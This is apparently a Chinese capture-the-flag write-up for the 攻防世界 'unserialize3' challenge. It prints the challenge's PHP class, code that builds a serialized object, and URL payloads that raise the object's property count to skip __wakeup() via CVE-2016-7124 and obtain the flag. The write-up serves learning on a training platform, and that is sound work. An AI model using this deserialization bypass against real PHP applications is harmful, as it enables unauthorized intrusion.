攻防世界unserialize3

解题
一打开就是代码

class xctf{//创建类
public $flag = '111';//publice定义flag变量为公开变量
public function __wakeup(){//魔术函数__wakeup()在反序列化的时候会被调用
exit('bad requests');
}
?code=

构造序列化字符代码


class xctf{//创建类
    public $flag = '111';//publice定义flag变量为公开变量
    public function __wakeup(){//魔术函数__wakeup()在反序列化的时候会被调用
    exit('bad requests');
    }
}
$a=new xctf();
$b=serialize($a);
echo $b
    ?>

得到字符串:O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
输入url:http://124.126.19.106:54543/?code=O:4:%22xctf%22:1:{s:4:%22flag%22;s:3:%22111%22;}
得到:bad requests
既然执行了__wakeup()函数那就绕过__wakeup()
利用CVE-2016-7124漏洞
输入url:124.126.19.106:54543/?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
得到flag

你可能感兴趣的:(攻防世界unserialize3)